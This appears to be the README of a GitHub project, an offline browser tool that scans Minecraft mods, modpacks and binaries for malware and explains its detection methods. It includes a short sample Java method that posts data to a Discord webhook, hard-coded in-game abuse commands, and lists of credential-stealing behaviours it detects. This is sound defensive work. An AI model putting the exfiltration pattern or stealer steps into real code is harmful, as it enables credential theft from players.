Skip to content

Latest commit

 

History

40 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 
 
 

Repository files navigation

Minecraft Mod Malware Checker

A single-file, offline scanner that tells you whether a Minecraft mod is trying to steal from you — before you run it. Handles compiled mods and server plugins (.jar), modpacks from every major launcher (Modrinth .mrpack, CurseForge, Prism/MultiMC, packwiz, ATLauncher, Technic), Windows binaries (.exe / .dll), and source projects (.zip) in Java, C/C++, C#, Rust or Go.

Drop a file in and it explains, in plain language, what that file actually does: does it read your Discord token, grab browser passwords, mine crypto, download a second payload — or quietly type /pay for you the moment you join a server? Everything happens in your browser. Nothing is uploaded. Nothing is ever executed.

▶ Use it here — eabusham2.github.io/Minecraft-mod-malware-checker · or download the HTML file and open it offline.

Static analysis is a strong first check, not a guarantee. A brand-new or heavily protected threat can still slip past. Treat a clean result as "nothing known matched," not "certified safe."

Main screen - drop a file to scan

Screenshots

A malicious mod detected A clean mod
Malware detected - family named, findings explained Clean result - nothing known matched
Inspector view File grid / entropy map
Inspector - decompiled source, bytecode and hex File map - every entry, flagged at a glance

Remediation guide
Remediation - plain-language cleanup steps when something is found

Check it elsewhere panel
Check it elsewhere - a second opinion from RatScanner or JDec

Why

Fake mods are one of the most common ways Minecraft players lose their Discord, Microsoft, browser and crypto-wallet accounts. The malicious code is usually a small, boring-looking mod that works fine while it quietly ships your tokens to a Discord webhook. This tool catches that by looking at what the code does, not by matching known file hashes.

Usage

  1. Open the hosted copy — or download minecraft-mod-malware-checker.html and open it locally. Both run entirely in your browser; the hosted copy uploads nothing.

  2. Drop a file on it.

  3. Accepts .jar, .mrpack, .zip, .mcpack / .mcaddon, .exe, .dll, .so, .pyd and .msi — or paste a direct download link.

  4. Read the verdict, then dig into the tabs.

  5. For a second opinion on a mod jar, use the Check it elsewhere buttons under the result:

    Neither site accepts a file sent from another page, so you drop a file from your computer onto them yourself; its SHA-256 is also copied for RatScanner's hash lookup, which shows an earlier verdict without uploading anything. If you scanned a download link instead, JDec loads that link by itself and the link is copied for RatScanner's URL box. What leaves your computer: RatScanner uploads the whole jar to its server, and JDec opens the jar in your browser but sends each class you click to its server, which decompiles it. A scanned link is downloaded by their servers instead. The buttons are greyed out for modpacks, source projects and Windows programs, which those sites don't take.

No install, no build step, no dependencies, no account.

What you can scan

Input What happens
.jar Unpacked, every class decompiled, behavioural rules applied. Fabric, Quilt, Forge, NeoForge, old Forge (mcmod.info), LiteLoader and Rift mods, Bukkit/Paper/BungeeCord/Velocity plugins, and plain Java programs
.mrpack (Modrinth pack) The manifest is checked — where every mod is downloaded from and where it gets placed — then every bundled mod is scanned separately
.zip (modpack) CurseForge, Prism/MultiMC, packwiz, ATLauncher, CurseForge app and Technic packs, launcher versions, server packs and plain folders of mods. The manifest and launch settings are checked, then every mod is scanned separately and you're told which one is the problem
.mcaddon / .mcpack Bedrock add-ons, recognised by their manifest and scanned like any other archive
.zip (source project) Build scripts, CI config, obfuscation settings and source files
.zip (single mod) Same as a .jar
.zip (mixed) Built mods and source projects in one archive — each part identified and scanned
.exe / .dll / .so / .pyd / .msi Strings, dangerous imports, packing and entropy
Any image Appended-payload and polyglot checks
A URL Downloaded straight from the host where it allows that, otherwise through a public relay, then scanned as above

Nested archives are unpacked and scanned the same way, up to 9 levels deep. Files are identified by their actual bytes, so a .png that is really an executable is caught rather than skipped.

A zip is only scanned if it actually is a mod, a modpack or a project — identified by fabric.mod.json, quilt.mod.json, mods.toml, mcmod.info, plugin.yml, a mods/ or plugins/ folder, a launcher manifest (modrinth.index.json, CurseForge's manifest.json, mmc-pack.json, pack.toml, …) or a build file. A zip of unrelated files is refused with an explanation rather than given a meaningless verdict. A .jar is always scanned, descriptor or not.

Features

Tells you what it found, in words you can act on. Every finding is written in plain language - what the code does, why that's a problem, and what to do about it. No rule IDs or severity jargon as the primary output.

Handles modpacks and mixed archives. Drop in a pack and every mod inside is unpacked and scanned separately. If something is wrong you're told which mod — by name — and that the rest are fine, so you can remove one jar instead of the whole pack. A jar that exists only to be called by another mod is recognised as that mod's library rather than counted as a mod of its own, and if the malicious code lives in the library you're told to remove both. An archive holding several source projects, or built mods alongside source, is recognised as exactly that rather than forced into one label.

Reads the pack, not just the mods in it. A launcher pack is mostly a list of downloads plus instructions for the launcher, and that is where a pack can be tampered with without touching a single mod. The manifest is checked for downloads from outside the mod platforms (a Modrinth pack may only fetch from Modrinth, GitHub and GitLab), files placed outside the game folder, commands the launcher runs before the game starts, Java agents, a replaced Java install and a swapped-in main class. A Prism instance whose launch commands are switched off is told apart from one whose commands actually run.

Watches what a mod makes your game do. A mod that types /pay Thief 100000, /trust Thief or /lp user Thief permission set * the moment you join a server empties your account without stealing a single file. Every command and chat message a mod sends is followed back to where its text comes from and to what makes it run. A command you start yourself — with a key, a button or its own command — or whose values come from the mod's settings is listed as a note, so a macro mod or an auto-login mod stays green. One that fires on its own with the recipient written into the code is flagged, and so is a mod that runs whatever another player puts in chat.

Capability is not the same as theft, and how it's reached matters. Screenshot mods capture the screen, macro mods read keys, alt managers read the launcher's account file — all perfectly normal. Two things decide how much weight that carries: who starts it (bound to a key or button, the user decides; fired from a timer or the mod's startup, they never get asked) and whether the result leaves the machine. The same screen-capture call scores 15 on a keybind, 45 on a timer, and 93 when the result is uploaded.

Names exactly what's at risk. Rather than "steals credentials", it names the browser, the Discord build, the specific wallet, the exact file it stages data in, and the endpoint it uploads to.

A verdict that means something. A 0-100 score built from behaviour, not from how many rules fired:

Score What it represents
100 Remote access, or a full stealer that survives a reboot
96-99 Stealer or miner, scaled by how much it takes
85-95 Dropper, process injector, spyware, a hidden admin backdoor, or commands sent for you that hand money or permissions to someone named in the code
25-70 Suspicious capability, no confirmed theft
0-10 Odd-looking but doesn't actually do anything

Recognises known malware families by their real indicators - SilentNet, the Stargazers campaign, Weedhack, fractureiser, STRRAT, Adwind - including when they're hidden inside an otherwise-legitimate mod.

Detects the behaviour, not just the name:

  • Credential theft - Discord tokens, browser passwords and cookies, Minecraft sessions (the launcher's account file, or the live token read straight from the running game) and cheat-client sessions, Telegram, Steam, VPNs, crypto wallets, game launchers, 2FA seeds, developer keys
  • Crypto miners - mining pools, XMRig/RandomX/CryptoNight, miner configs and wallet addresses
  • DLL abuse - loading native libraries, planting a DLL where a trusted program will pick it up, running one through rundll32, or mapping one into memory so it never touches disk
  • Exfiltration - Discord/Telegram webhooks, HTTP uploads, decrypt-then-send, temp-file staging
  • Download and execute - fetching a second payload, loading classes straight from a web address, in-memory execution, dropped .exe/.ps1/.bat
  • Spyware - keylogging, screen capture, webcam access, clipboard hijacking
  • Evasion - VM and debugger checks, self-deletion, antivirus tampering, persistence
  • In-game abuse - commands sent for you automatically with a hard-coded recipient (/pay, /trust, rank and permission changes), commands taken from chat, hidden operator backdoors in server plugins (a chat password, a fixed player name, a password written into a command), /login and /register passwords sent off your computer, and your coordinates or the server you're on sent to a webhook
  • Spreading - rewriting your other mods and plugins to copy itself into them (how fractureiser spread), and injecting code into the Discord desktop app so it outlives the mod
  • Tampered launcher packs - downloads from unvetted hosts, files placed outside the game folder, pre-launch commands, Java agents and replaced main classes
  • Supply-chain attacks in source projects - build scripts that run commands, hijacked Gradle wrappers, untrusted repositories, CI secret leaks, npm install hooks

Says what it looked at even when nothing is wrong. A clean scan still lists what the mod legitimately does - uses cryptography, makes network requests, uses mixins - so a green result shows the scan examined real capability rather than just finding nothing.

Tuned against false positives. Reflection, MethodHandles, bundled native libraries, Discord Rich Presence and image metadata are all normal in real mods, so none of them are flagged on their own. A public-IP lookup only matters next to actual theft, and documentation that mentions a shell command isn't treated as running one.

Libraries packed into a mod only count when something runs them. Big mods often carry whole libraries they barely use, so the scanner works out which classes can actually start: the loader's entry points, mixins, service providers, plugin mains, and anything those refer to, including classes loaded by a name written in the code. Library code nothing reaches is left out, and the report lists what was set aside. If the mod loads classes by a name it only works out while running, or defines classes from bytes it reads in, nothing is set aside. Code that does run is judged on what it does, not where it sits: JNA's Windows bindings, OSHI's system report, BouncyCastle's keystores and Kotlin's own metadata are read as those libraries, but a mod whose own code lives under one of those package names gets no pass.

Names are matched exactly and data in any case. A Java class or Windows API has one spelling, so GZIPOutputStream is not mistaken for ZipOutputStream. A Windows path, a command or a web address works however it's capitalised, so writing it in capitals doesn't hide it. Rules about commands, paths and program names only count text the code works with, not the names of its classes and fields: a class called Wget isn't a download command.

A socket in one corner of a jar and a process launch in another is not a remote-access trojan. The code reading the connection has to run what it reads, either itself or through a class it calls. A plugin that loads the libraries it downloaded from Maven is not a dropper, but a class loader pointed at a web address still is. A mod that hands your session token to Mojang's own sign-in check, to prove to its server who you are, isn't treated as stealing it. One that sends the token anywhere else is. A webhook placeholder in a settings file, a Mojang skin texture stored in Base64 and a mod sharing in-game screenshots are told apart from the real thing.

Explains cleanup properly. The Remediation tab walks through what the file actually carried out, in order, naming the class that performs each step - reads the token database, extracts the master key, unwraps it with DPAPI, decrypts, uploads. It names the hidden file it stages data in, the markers it uses to remember what it already sent, and where it uploads to.

Strings can be exported. The Strings tab downloads whatever is in view as CSV — file, value, the method and line it's loaded from, and whether it was hidden, assembled or suspicious. Filter to Suspicious first and the export is just the indicators.

Inspector. Browse the archive as a tree and view any file as decompiled source, bytecode or hex. Files are flagged by severity, and hovering a flag says why.

A second opinion in one click. The Check it elsewhere panel under each result opens the mod in RatScanner, another mod scanner, or JDec, an online decompiler. A jar scanned from a link goes straight to JDec by that link and is copied for RatScanner's URL box; a file from your computer is dropped onto them, with its SHA-256 copied for RatScanner's hash lookup. The buttons are greyed out for anything those sites can't take. Usage says what each site sends.

Also: deobfuscation of XOR, Base64 (including layered and gzip/exe-wrapped), hex, URL-encoding and rotation ciphers, an exportable plain-language report, light/dark themes, and an optional one-click fetch for payloads a file downloads at runtime.


Under the hood

Everything below is for people who want to know how it reaches its conclusions.

A real decompiler, in the browser

Most browser tools can only list the strings they find. This one parses the class file properly - the constant pool and the Code attribute - decodes every JVM opcode, simulates the operand stack, and rebuilds Java-like source:

private static void send(String msg) {
   try {
      HttpURLConnection cn = (HttpURLConnection) new URL("https://discord.com/api/webhooks/...").openConnection();
      cn.setRequestMethod("POST");
      cn.setDoOutput(true);
      cn.getOutputStream().write(("{\"content\":\"" + msg + "\"}").getBytes(StandardCharsets.UTF_8));
   } catch (Exception e) {
   }
}

It recovers if/else, while loops, try/catch, string concatenation with its literal parts intact, and - when the jar kept its debug info - the original variable names. Online decompilers do this on a server; this does it locally so the file never leaves your machine.

Detection reads the bytecode

Malicious method calls live in the constant pool, not as plain text. Those calls are resolved and matched against, so something like Crypt32Util.cryptUnprotectData - the Windows API a stealer uses to unwrap the browser master key - is caught even when no suspicious string is visible anywhere in the file.

It also tracks what each string is handed to. A URL sitting in the constant pool is just data; the same URL loaded and passed straight into URL.openConnection() is code that connects to it. Walking forward from each ldc to the call that consumes it tells those apart, so a finding can say:

"https://discord.com/api/webhooks/..." → new URL(…).openConnection()  (source line 42) in run()

When a class kept its LineNumberTable, the original source line is reported alongside - so you can point at the exact line in the decompiled view rather than just the file.

Every string is located, not just found. Each constant is traced to the method it is loaded in and, where the class kept its debug info, the source line — so the Strings tab shows sendData() · line 88 beside the value, and a finding reads "leveldb store — ... [in readTokens(), line 42]" rather than just naming the file. Knowing a webhook is loaded inside sendData() and a token path inside readTokens() tells you how the pieces fit together.

Class metadata the obfuscator forgot to strip. Renaming a class to a.class doesn't remove the compiler's SourceFile record, so the file often still says it was written as DiscordTokenGrabber.java. That, the InnerClasses table and any annotations are read and surfaced — a meaningless class name with a very meaningful original filename is worth knowing about.

Strings split across fragments are reassembled. Writing the address in pieces defeats any scanner that reads constants one at a time - "https://disc" + "ord.com/api/webh" + "ooks/..." matches nothing on its own. Both of the ways Java builds a concatenation are recovered: the invokedynamic makeConcatWithConstants recipe stored in BootstrapMethods, and the older new StringBuilder().append(..).toString() chain. The reassembled value is fed back through every rule, so a webhook hidden this way is caught exactly like one written out in full — and it appears in the Strings tab under Hidden, marked assembled. The decompiled source shows it too, folding the builder chain into "https://disc" + "ord.com/api/webh" + ... /* = "https://discord.com/api/webhooks/..." */.

Raw-byte indicator scanning

Beyond parsing files, the raw bytes are swept for indicators, each reported with a byte offset you can jump to in the Hex view. This finds things that never become a parsed file: UTF-16 strings (Windows binaries store text this way, so an ASCII-only scan misses them entirely), executables embedded at a non-zero offset, base64 blobs that decode to a payload, and IOC keywords. Anything found only in the raw bytes is listed separately.

Following commands through the bytecode

To tell a /pay whose recipient you typed from one whose recipient is baked in, every method that sends chat or a command is walked with a symbolic operand stack. The text is rebuilt from its pieces — concatenation, StringBuilder chains, String.format, Base64 and byte arrays — and each piece is traced to where it came from: a literal in the code, a field the mod's config loads, what you typed, or a chat message someone else sent.

What makes the method run is traced the same way: through lambdas, event registrations (Fabric, Forge, NeoForge, Bukkit, BungeeCord, Velocity), mixins into the join, tick, chat and screen handlers, timers and threads, and helper methods in other classes. A true/false setting checked on the way counts as a switch you control — unless it starts switched on.

Minecraft's own methods carry different names depending on how a mod was built, so they are matched under every mapping a mod can ship with: Fabric intermediary (method_45730), Forge's runtime names for 1.17-1.20.4 (m_246623_), legacy Forge (func_71165_d), and Mojang's own names (NeoForge, and Minecraft 26.x, which ships unobfuscated). Operator grants (setOp, PlayerList.op) and the comparisons in front of them are followed the same way, which is how a plugin that ops whoever types a fixed password is caught.

Launcher packs

Launcher Read from
Modrinth modrinth.index.json (.mrpack)
CurseForge manifest.json
Prism / MultiMC instance.cfg, mmc-pack.json, patches/*.json
packwiz pack.toml, index.toml, *.pw.toml
ATLauncher instance.json
CurseForge app minecraftinstance.json
Technic bin/modpack.jar
Vanilla launcher versions/<id>/<id>.json
Server packs server.properties or eula.txt beside mods/ or plugins/
Bedrock manifest.json (.mcaddon / .mcpack)

Each format is read into the same shape — downloads, placed files, launch commands, JVM arguments, main class, libraries — so the same checks apply whichever launcher made the pack. Prism only runs its pre-launch, wrapper and post-exit commands when the instance overrides them, and the check follows that switch.

Source projects

With source code the payload usually isn't in the code - it's in the build, which runs before you ever launch anything:

  • Build scripts that execute commands. Gradle, Maven, npm, CMake and .vcxproj all run at build time, and many IDEs run them just from opening the folder.
  • Hijacked Gradle wrapper. If distributionUrl points anywhere other than services.gradle.org, building the project downloads and runs an attacker's "Gradle".
  • Untrusted Maven repositories, which can serve a backdoored library straight into your build.
  • CI workflows that leak secrets or run a stranger's code via pull_request_target.
  • Native and .NET source - process injection chains, keyboard hooks, DPAPI credential reads, Assembly.Load payload loading, anti-debugging.
  • Obfuscation and packer settings - if you were handed "source" that builds into something unreadable, that's worth knowing.

Remediation adapts: for a source project the advice is don't build it or open it in an IDE, because that's when it would run.

Pipeline

file -> SHA-256 -> unzip (nested jars, polyglots, appended payloads; zip-bomb guarded)
     -> launcher pack?  read the manifest: downloads, placed files, launch commands, JVM arguments
     -> compiled?  parse constant pool + Code attribute -> decompiled source, resolved calls
     -> source?    read build scripts, CI config, obfuscator configs and source as text
     -> rebuild byte-array-hidden strings, deobfuscate, feed decoded text back in
     -> follow every chat message, command and operator grant back to its text and what triggers it
     -> behavioural rules + heuristics (e.g. "decrypts data AND opens an HTTP connection")
     -> score 0-100, infer family, explain every finding

The file is never executed. Detection targets behaviour chains - one class that both reads Discord's token store and posts to a webhook, or one that writes an .exe to disk and then runs it.

Browser extensions

Some extensions inject scripts into every page and replace built-in browser APIs. When one replaces the pieces this tool depends on, scans can fail with errors like Input data should be a String, or a Content Security Policy warning about eval appears in the console.

The scanner does not use eval or new Function anywhere — those warnings come from the extension, not from here. It keeps its own references to the browser APIs it needs and falls back to a second decompression path when they have been tampered with, which handles most cases. If a scan still fails, the error message will say so and suggest the fix:

  • Open a private/incognito window — extensions are normally disabled there.
  • Or download the HTML file and open it locally.

Known to interfere: AI homework/answer extensions that inject a script into every page (for example Quizard AI and Coursology). Disabling them for this page resolves it.

Limitations

  • Static analysis only. It cannot see behaviour assembled at runtime from many small pieces, decrypted with a key fetched from the network, or hidden inside native code it can't read.
  • Unused bundled code is judged by how it could be started. Library code is set aside when nothing the scanner can follow starts it. A library class started some other way, such as from inside a native library whose strings don't name it, would be missed. The report always lists what was set aside.
  • The decompiler is good, not perfect. Typical methods reconstruct faithfully; very complex control flow may fall back to labelled jumps. The call map and bytecode views are always available alongside it.
  • Fetching a link depends on the host and on public relays. Many file hosts, CurseForge's file server among them, don't let a web page download from them, so those links and runtime payloads go through a public relay, which sees the link but nothing from your computer. The page tries them in turn and moves on only when one fails: corsproxy.io, then allorigins, then Hexlet's copy of allorigins. Free relays come and go, and a slow one can take up to 20 s before the next gets its turn; when every route fails the page says which ones it tried, and you can download the file yourself and drop it in.
  • A clean result means nothing matched - not that the file is guaranteed safe. Only install mods from sources you trust.
  • Not affiliated with Mojang or Microsoft.

Credits

The class-file reading techniques - resolving constant-pool entries, walking ldc to the call that consumes a string, and mapping bytecode offsets to source lines via LineNumberTable - follow the approach in leonardosnt/java-class-tools (MIT), a JavaScript Java class reader/writer. Worth a look if you want a general-purpose library rather than a scanner.

License

MIT - see LICENSE.

Releases

Packages

Contributors

Languages